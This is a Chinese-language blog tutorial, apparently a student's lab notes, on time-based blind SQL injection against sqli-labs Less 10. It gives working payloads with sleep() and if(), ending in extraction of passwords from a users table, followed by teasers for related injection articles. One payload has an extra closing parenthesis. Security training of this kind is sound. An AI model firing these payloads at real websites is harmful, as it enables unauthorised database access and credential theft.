sql注入学习——时间盲注

前言：之前通过前九关学习到了回显注入、报错注入、布尔盲注等一些方法，这次就来详细的学习时间盲注。

在上一篇博客中，了解了布尔盲注，其实布尔盲注和时间盲注大致相同，注入原理是一致的，区别就是一个还是有回显的，一个彻底没有回显，通过构造语句，通过页面响应的时长，来判断信息，这就是时间盲注。

先来学习一下时间盲注所需要的函数

sleep()/延迟函数
if(condition,true,false)/若条件为真 返回true，若条件为假 返回false
substring("string",strart,length)

主要的也就是这几个了，下面就通过sqli-labs第十关来练习时间盲注

猜测数据库名长度
payload：

?id=1" and if(length(database())>5,1,sleep(10))--+

这里执行失败的话将睡十秒，能更快的判断，当然也可以将sleep()函数，放在执行成功的位置。

根据浏览器的反应来判断出数据库名长度（如果是手动注入的话切记网速得好，要不然就好玩了。。。）

爆出数据库名
payload：

?id=1" and if((ascii(substr(database(),1,1)))>120,1,sleep(10))--+

根据浏览器的反应，来猜测出数据库名，其实时间注入就是比布尔盲注多了一个if函数，sleep()函数就相当于布尔盲注中的true或false，其他语句大致都相同。

爆表名
payload:

?id=1" and if((ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)))>120,1,sleep(10))--+

同样也是观察浏览器反应时间，如果没有睡10秒则表名条件正确，继续尝试

爆列名
payload:

?id=1" and if((ascii(substr((select column_name from information_schema.columns where table_name='users' limit 0,1),1,1))))>100,1,sleep(10))--+

爆值
payload：

?id=1" and  if((ascii(substr(( select password from users limit 0,1),1,1)))>1,1,sleep(10))--+

可以看出其实时间盲注和布尔盲注语句基本相同，只不过是时间盲注通过if语句来执行sleep函数，从而判断。如果理解了布尔盲注，时间盲注也很好理解。

但还是最好写一下脚本，手工注入效率低且容易出错。这次就先学习到这里，了解了时间盲注，等到脚本能力提高了，自己写出一个脚本跑一下。

sql注入学习——时间盲注相关推荐

SQL注入学习——时间盲注详解 sqli-labs(Less 9)
文章目录前言: 一.基础知识 1.时间盲注简介: 2.时间盲注常用的函数: 二.Less9 基于时间的单引号盲注 1.判断数据库名的长度: 2.猜测数据库: 3.判断表名的长度 4.猜测 secur ...
sql注入学习——布尔盲注
前言:之前通过前九关学习到了回显注入.报错注入等一些方法,这次就来详细的学习布尔盲注. 首先来了解一下盲注的概念盲注是注入的一种,指的是在不知道数据库返回值的情况下对数据中的内容进行猜测,实施SQL ...
SQL注入学习——Bool盲注详解 sqli-labs(Less 8)
文章目录前言: 一.Bool盲注常用的函数: 二.Less8 布尔型单引号GET盲注 1.查数据库版本 2.猜解数据库的长度 3.猜数据库名字 4.猜解表名 5.猜解字段名 6.猜解数据三.脚本注 ...
SQL注入之时间盲注和报错注入（sql-lab第一关为例）
什么是时间盲注时间盲注指通过页面执行的时间来判断数据内容的注入方式,通常用于数据(包含逻辑型)不能返回到页面中的场景,无法利用页面回显判断数据内容,只能通过执行的时间来获取数据. 时间盲注的过程 1 ...
SQL注入原理-时间盲注
小伙伴们大家好!本期为大家带来的是SQL注入原理之时间盲注. 目录使用环境常见函数与语句 sleep()函数 if语句 substr()函数 ord()函数 length()函数实战演示 1.判 ...
mysql dba盲注_SQL注入学习-Dnslog盲注
1.基础知识 1.DNS DNS(Domain Name System,域名系统),因特网上作为域名和IP地址相互映射的一个分布式数据库,能够使用户更方便的访问互联网,而不用去记住能够被机器直接读取的 ...
SQL注入之布尔盲注——sql-lab第八关
布尔盲注简介什么是盲注盲注其实是sql注入的一种,之所以称为盲注是因为他不会根据你sql注入的攻击语句返回你想要知道的错误信息. [之前在做联合注入第一关的时候,用union select语句注入 ...
SQL注入原理-布尔盲注
小伙伴们大家好,今天为大家带来的使SQL注入原理之布尔盲注. 目录布尔盲注使用的环境常用函数与语句 substr()函数 ord()函数 length()函数实战演示 1.判断是否存在注入点 2 ...
mysql 延时注入_MySQL时间盲注五种延时方法
延时注入函数五种:sleep(),benchmark(t,exp),笛卡尔积,GET_LOCK() RLIKE正则 sleep() sleep(x) select sleep(5); benchma ...

sql注入学习——时间盲注

sql注入学习——时间盲注相关推荐

最新文章

热门文章